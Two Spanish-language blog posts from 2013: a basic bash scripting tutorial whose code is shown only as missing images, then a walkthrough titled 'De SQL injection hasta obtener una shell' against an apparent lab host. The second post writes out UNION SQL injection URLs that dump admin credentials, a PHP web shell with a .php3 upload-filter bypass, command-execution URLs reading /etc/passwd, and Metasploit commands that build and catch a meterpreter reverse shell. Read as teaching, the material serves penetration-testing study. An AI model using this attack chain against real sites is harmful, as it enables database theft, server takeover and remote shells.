lunes, 2 de diciembre de 2013

Programacion de scripts con bash


Programando scripts en bash

Antes de empezar a tirar codigo :p adentremonos en un poco de pensamientos personales XD y despues un poco de teoría.

Cuando estas en el mundo del hacking y el pentesting llega un momento en el que es necesario y muy importante el hecho de que uno desarrolle sus propias herramientas o incluso que sepa leer lenguajes de programación para modificar y/o adecuar herramientas que tengamos en nuestro poder, particularmente me refiero a los scripts.

Ya tiene tiempo que tengo el entusiasmo de hacer un post sobre programación enfocada al hacking y pentesting y parece que hoy llego el día :D

Debo de mencionar que todos los ejemplos serán fotografías ya que de esa manera obligaré a todos a escribir el coódigo de nuevo para que no hagan solo lo copien :D de manera que si su script tiene algun error tendrám que identificarlo y repararlo por ustedes mismos :p

Bash:
Es el interprete de comandos que tienen la mayoría de las distribuciones linux (obiamente esto es una definición muy corta) entonces ya que es el interprete de la mayoría de las consolas de linux quiere decir que cuando estemos programando, bash entenderá los comandos de linux.

Antes de empezar a desarrollar nuestras herramientas hay que empezar con lo básico es decir aprendamos un poco de programación en bash.
Lo primero que necesitamos es saber es donde se encuentra el interprete de bash ¿espera el qué? jajaja bueno el interprete es el programa que entiende que es lo que estamos escribiendo en nuestro programa.

entonces para saber donde esta es interprete utilizemos el siguiente comando
which bash
Aqui vemos que la ruta donde se encuentra el interprete de bash es /bin/bash ahora ya podemos empezar a trabajar :D

hagamos nuestro primer programa que imprima un mensaje en pantalla

 ahora si empecemos en la 1er linea va la ubicacion del interprete y en las siguientes lineas el cuerpo de nuestro programa

 Aqui vemos que en la 1er linea mandamos llamar al interprete y las siguientes 4 lineas las usamos para documentar el programa, hasta la 6ta linea damos la instrucción de imprimir un mensaje en pantalla, pero todavía no terminamos hay que darle permisos de ejecución a nuestro archivo

Con el comando ls -l vemos que el archivo esta sin permisos de ejecución, (para permisos y comando chmod creo que hay bastante material en la red ), para ejecutar el script sería de la siguiente manera ./mensaje.sh

 Como vemos en la imagen, no es posible ejecutar el script ya que no tiene permisos de ejecucion entonces ahora demosle permisos puede ser:
chmod +x mensaje.sh
             Ó
chmod 775 mensaje.sh

de nuevo ponemos ls -la y vemos que el color de nuestro script cambio a verde ademas en la parte de la izquierda vemos una x lo cual quiere decir que ya puede ser ejecutado nuestro script
Listo script ejecutado exitosamente, bueno ahora que ya sebemos todos los pasos podemos irnos mas rápido, asi que demosle velocidad a esto :D

Veamos como declarar una variable e imprimirla en pantalla

Hacemos todo lo necesario para poder ejecutar el script y procedemos a ejecutarlo

Ahora veamos variables globales y variables locales
y aqui ejecutamos

Ahora veamos como recibir datos del teclado

Procedemos con la ejecución

Siguiente programa, hagamos un programa que detecta las teclas CTRL+c y usemos la "trampa" de bash

Procedemos a ejecutar la "trampa de bash"

Nuestro siguiente programa leerá un archivo

Aqui la ejecución

Creo que es un buen momento para mencionar las comparaciones aritmeticas en bash
-lt <
-gt >
-le <=
-ge >=
-eq ==
-ne !=

Teniendo ya conocimiento de las comparaciones artimeticas en bash hagamos otro tipo de cosas :)
hagamos  veamos como comprar valores de == en bash

Ejecutamos

Asi como hay operadores aritmeticos hay comparadores de cadena
= equal
!= not equal
< less then
> greater then
-n s1 string s1 is not empty
-z s1 string s1 is empty


Ejecutamos

Ahora veamos el ciclo for

Ejecutamos
También podemos ejecutarlo directamente desde la consola
Ahora hagamos un script para seleccionar en bash
Porcedemos con la ejecucion
Veamos otra manera de hacer elecciones, esta vez con case

Procedemos a ejecutarlo

Ahora veamos operaciones aritmeticas en bash
Procedemos a ejecutar

Por ultimo hagamos un script que detecte todas las ip que estan en uso en nuestra red
Ahora procedemos con la ejecución

Bueno esperemos tener una puequeña base de la programación de scripts en bash espero haya quedado todo entendido y este proximo año uno de sus propositos de año nuevo sea aprender algun lenguaje de scripting.

jueves, 28 de noviembre de 2013

De SQL injection hasta obtener una shell

De sql injection a obtener shell

Este post tiene dedicatoria a todos los miembros de pentester guanajuato global team, gracias por la invitación :)



Empezemos: en este post veremos un poco de sql injection y como un atacante puede obtener desde los datos que se encuentran en la base de datos hasta una shell del sistema donde se encuentra alojada la página web y la base de datos :D

Está será la página en que haremos el pentest

Primero haremos un information gathering, para realizarlo podemos usar telnet o netcat

telnet paginaweb.com 80
GET / HTTP/1.1
host:paginaweb 
           ó
netcat paginaweb.com
GET / HTTP/1.1
host:paginaweb


como podemos observar ahi tenemos la version de apache

Ahora veamos un poco de teoría, supongamos que estamos en una pagina de noticias y tenemos 3 páginas con noticias estas serían las 3 urls.

http://www.web.com/noticia.php?id=1  <-- noticia 1
http://www.web.com/noticia.php?id=2  <-- noticia 2
http://www.web.com/noticia.php?id=3  <-- noticia 3

el código php de esa pagina para cargar las noticias sería algo así

<?php
$id = $_GET["id"];
$resultado = mysql_query("select * from noticias where id=".$id);
$fila = mysql_fetch_assoc($reultado);
//nos da la informacion de la noticia de la consulta
?>

Ahora pasando al material que tenemos para trabajar
si ponemos asi ----> http://www.web.com/noticia.php?id=1'
se va a ejecutar esto ---> select * from noticias where id = 1'
pero la sintaxis de esta peticion sql es incorrecta por la comilla ' y la base de datos nos dara un error

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version
for the right syntax to use near ''' at line 1.
este error puede o no puede ser visible depende de la configuracion del php

aqui el ejemplo del error de SQL syntax de nuestra web








 IMPORTANTE!!!!!
el valor que esta en la url hace un eco directamente en la consulta y es considerado como un integer, esto
nos permite hacer una consulta a la base de datos una operacion basica matematica
es decir
http://www.web.com/noticia.php?id=2-1 <--- esto sería como
select * from noticias where id=2-1 entonces el la noticia 1 será mostrada en la url





Por ejemplo en nuestra pagina tenemos

 http://192.168.1.88/cat.php?id=3
y también
http://192.168.1.88/cat.php?id=2

Veamos que pasa cuando hacemos
http://192.168.1.88/cat.php?id=3-1

Aqui vemos como al hacer la operacion matemática 3-1=2 == http://192.168.1.88/cat.php?id=2


explotando sql injections con UNION


Para hacer la sql injection (a mano nada de usar programas como havij ó sqlmap a menos que seas un lamer de primera, ó a menos que ya sepas hacer esto por ti mismo no hay ningun problema en utilizar herramientas que te pueden automatizar el proceso, y ademas ya sabes que es lo que realmente esta pasando en tu ataque) necesitamos encontrar el numero de colimnas para ejecutar union

si ponemos
http://192.168.1.88/cat.php?id=2 union select 1,2
en la url aparecen varios %20 ese es el del espacio y el navegador lo pone automáticamente, ahi podemos ver que nos da información interesante
lo que ha pasado es lo siguiente:
select id,nombre,fecha,foto from noticias where id=1 union select 1,2
es decir hicimos una consulta donde estamos requiriendo 2 campos sin embargo la tabla tiene 4 campos, no hay que confundir que a una tabla podemos hacer la consulta a 1 solo campo con esto que estamos haciendo, en este caso estamos tratando de encontrar todos los campos de la tabla

entonces intentamos lo siguiente
http://192.168.1.88/cat.php?id=2 union select 1,2,3
en este caso de nuevo aparece el mensaje que la sentencia tiene diferente numero al de las columnas existentes en la tabla, recuerden que estamos tratando de averiguar cuantos campos hay en esa tabla de la base de datos
esta vez hicimos algo como esto:
select id,nombre,fecha,foto from noticias where id=1 union select 1,2,3

intentemos con esto: http://192.168.1.88/cat.php?id=2 union select 1,2,3,4
Excelente!!! ya no obtuvimos el mensaje de que no corresponde la sentencia con el numero de campos es decir que ya sabemos que existen 4 campos.
Ahora que ya sabemos el numero de columnas podemos acceder a cierta informacion de la base de datos

ahora que ya sabemos el numero de columnas podemos acceder a cierta informacion de la base de datos

la sentencia @@version      me dice la version de la base de datos
la sentencia current_user()  el usuario usado por la aplicacion php para conectar a la base de datos
la sentencia database()        ya se imaginarán que hace :p

entonces procedemos a encontrar la version con
http://192.168.1.88/cat.php?id=2 union select 1,@@version,3,4,5

Eee!!! momento que ha pasado si estoy poniendo 4 columnas por que me aparece que hay diferencia en el statment y el numero de columnas???

al parecer la tabla donde ejecutemos la sentencia para poder ver la version debe tener un numero diferente de columnas de modo que hagamos una prueba pongamos 3 en vez de 4 es decir:
http://192.168.1.88/cat.php?id=2 union select 1,@@version,3,4

Listo ya tenemos la verison!!!!

ahora procedamos a ver el usuario
http://192.168.1.88/cat.php?id=2 union select 1,current_user(),3,4
Ya tenemos el usuario :D

Ahora veamos el nombre de la base de datos
http://192.168.1.88/cat.php?id=2 union select 1,database(),3,4
Listo!!!! nombre de la base de datos obtenida

ahora obtengamos las tablas, para eso haremos consultas en la base de datos information_schema
por que mysql provee tablas que contienen meta-informacion de la base de datos que estamos obteniendo información

http://192.168.1.88/cat.php?id=2 union select 1, table_name,3,4+from+information_schema.tables

Listo el problema es que me esta dando todas las tablas de las bases de datos que hay y yo quiero solo los de la base de datos que estoy tratando de obtener informacion (photoblog)

Intentemos con esto
http://192.168.1.88/cat.php?id=2%20union%20select%201,concat%28table_name,
%27:%27,table_name%29,3,4%20from%20information_schema.columns+where+table_schema=database%28%29--
Excelente despues de varias pruebas y errores con diferentes sentencias pudimos obtener el resultado deseado (Ya te tocará investigar que es todo ese código en la sentencia no tendras todo tan regalado lamer XD XD XD XD XD).

bueno ahora toca el turno de saber como se llaman los campos de la tabla users
http://192.168.1.88/cat.php?id=2%20union%20select%201,concat(column_name),3,4%20from
%20information_schema.columns+where+table_name=users

Al parecer hay un error en la columna users :( vaya se ha resistido XD XD XD XD, bueno hemos estado utilizando chrome, ahora utilizemos firefox para ayudarnos de hackbar :D :D :D :D :D

  
  abrir hackbar y seleccionar el nombre users e ir a encoding, hex encoding y seleccionar la 1er opcion quedará algo así
Damos click en Execute y vemos que no pasa nada, jejeje esta web se se resiste intenemos agregando un 0x es decir
http://192.168.1.88/cat.php?id=-2 union select 1,concat(column_name),3,4 from information_schema.columns+where+table_name=0x7573657273
Excelente ahora si ya tenemos los campos que necesitamos para realizar la sentencia y obtener los datos que necesitamos

Entonces manos a la obra obtengamos los usuarios y contraseñas de esta base de datos
http://192.168.1.88/cat.php?id=2%20union%20select%201,concat
%28login,%27:%27,password%29,3,4%20from%20users;

Muy bien tenemos al usuario admin y la contraseña encriptada, hay muchas formas y/o técnicas para desencriptar ese hash, por ejemplo; findmyhash, john the ripper, crackstation.net, en esta ocasión usaremos la página crackstation.net

listo: usuario admin contraseña P4ssw0rd

ahora tratemos de obtener una shell en ese sistema :D


Listo estamos logueados como admins ahora tratemos de subir algun archivo php que nos deje ejecutar comandos en el sistema :D

para eso creamos un arhivo php que contenga el siguiente codigo

<?php
system($_GET['cmd']);
?>

si logro subir un arhivo php que contenga ese codigo podre ejecutar comandos en el sistema donde esta alojada la pagina web.

primero vamos a crearlo
vamos a tratar de subirlo damos click en New picture y despues en examinar y buscamos nuestro php
Al tratar de subirlo vemos que nos dice 
Entonces tiene una protección de deteccion de archivos para poder hacer un bypass o evasión de detección de los tipos de archivos podemos hacer un archivo de nombre .php3

Aqui vemos como nuestro php fue subido exitosamente

ahora tenemos que encontrar la ruta donde esta nuestro php :D

una vista rápida al codigo fuente del index me da lo que estoy buscando
admin/uploads/shell.php3  :D

ahora para ejecutar comandos ponemos lo siguiente
http://192.168.1.88/admin/uploads/shell.php3?cmd="comando a ejecutar"

http://192.168.1.88/admin/uploads/shell.php3?cmd=uname -a

http://192.168.1.88/admin/uploads/shell.php3?cmd=cat%20/etc/passwd
nosotros somos el usaurio www-data ese usuario no tiene privilegios de root, veamos que podemos hacer para obtener una shell dentro del sistema desde kali :D

primero hacemos un payload para linux
msfpayload linux/x86/meterpreter/reverse_tcp LHOST=IP LPORT=puerto R | msfencode -t elf -e x86/shikata_ga_nai >> Executive


Pasamos ese payload a nuestro webserver en kali aprovechando que tenemos apache :D

Aqui vemos como se copio el payload a la carpeta del webserver de kali y ademas hicimos un ls para comprobar que ahi esta nuestro payload, ahora toca descargarlo en el servidor que hackeamos

Aparentemente no ocurrio nada pero que pasa si hacemos un "ls"

Ahi se encuentra nuestro payload que se llama Executive, procedemos a ejecutarlo pero primero hay que preparar el listener de metasploit
 msfcli exploit/multi/handler  PAYLOAD=linux/x86/meterpreter/reverse_tcp  LHOST=IP LPORT=port  E

ahora si procedemos a ejecutar

y vemos el resultado en nuestro metasploit
Tenemos meterpreter en ese sistema :D
Sin embargo no tenemos altos privilegios todavia, tratemos de leer el archivo shadow
Solamente usuarios con permisos elevados pueden leer ese archivo, hay muchas técnicas para elevar privilegios en linux, tratemos de entrar al gestor de base de datos mysql
Hemos podido entrar al gestor de base de datos mysql de ese sistema por que el usuario por default no tiene contraseña
mysql -u root -p

incluso podemos ver la bases de datos que hay en ese sistema
Ahora tratemos de vizualizar archivos desde mysql

y aqui el resultado

ahora tratemos de leer el archivo shadow
Como vemos no hemos podido leer el contenido del archivo shadow :( 
en un post posterior veremos como elevar privilegios en linux, por otra parte cabe mencionar que todo lo que hemos hecho en la página, quedo registrado en los logs del apache

aqui les paso solo alguno de los logs que generamos
192.168.1.104 - - [28/Nov/2013:17:13:47 +0000] "GET /cat.php?id=2%20union%20select%201,@@version,3,4 HTTP/1.1" 200 830 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36"
192.168.1.104 - - [28/Nov/2013:17:13:48 +0000] "GET /admin/uploads/3 HTTP/1.1" 404 505 "http://192.168.1.88/cat.php?id=2%20union%20select%201,@@version,3,4" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36"
192.168.1.104 - - [28/Nov/2013:17:13:53 +0000] "GET /favicon.ico HTTP/1.1" 404 502 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36"
192.168.1.104 - - [28/Nov/2013:17:13:54 +0000] "GET /cat.php?id=2%20union%20select%201,@@version,3 HTTP/1.1" 200 762 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36"
192.168.1.104 - - [28/Nov/2013:17:13:55 +0000] "GET /favicon.ico HTTP/1.1" 404 502 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36"
192.168.1.104 - - [28/Nov/2013:17:14:02 +0000] "GET /cat.php?id=2%20union%20select%201,@@version,3,3,3 HTTP/1.1" 200 762 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36"
192.168.1.104 - - [28/Nov/2013:17:14:03 +0000] "GET /favicon.ico HTTP/1.1" 404 502 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36"
192.168.1.104 - - [28/Nov/2013:17:14:05 +0000] "GET /cat.php?id=2%20union%20select%201,@@version,3,3 HTTP/1.1" 200 829 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36"
192.168.1.104 - - [28/Nov/2013:17:14:05 +0000] "GET /admin/uploads/3 HTTP/1.1" 404 505 "http://192.168.1.88/cat.php?id=2%20union%20select%201,@@version,3,3" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36"
192.168.1.104 - - [28/Nov/2013:17:14:05 +0000] "GET /favicon.ico HTTP/1.1" 404 502 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36"
192.168.1.104 - - [28/Nov/2013:17:19:59 +0000] "GET /cat.php?id=2%20union%20select%201,@@version,2,3,4 HTTP/1.1" 200 763 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36"
192.168.1.104 - - [28/Nov/2013:17:20:00 +0000] "GET /favicon.ico HTTP/1.1" 404 502 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36"
192.168.1.104 - - [28/Nov/2013:17:21:52 +0000] "GET /cat.php?id=2%20union%20select%201%20where%20id=1 HTTP/1.1" 200 815 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36"
192.168.1.104 - - [28/Nov/2013:17:21:53 +0000] "GET /favicon.ico HTTP/1.1" 404 502 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36"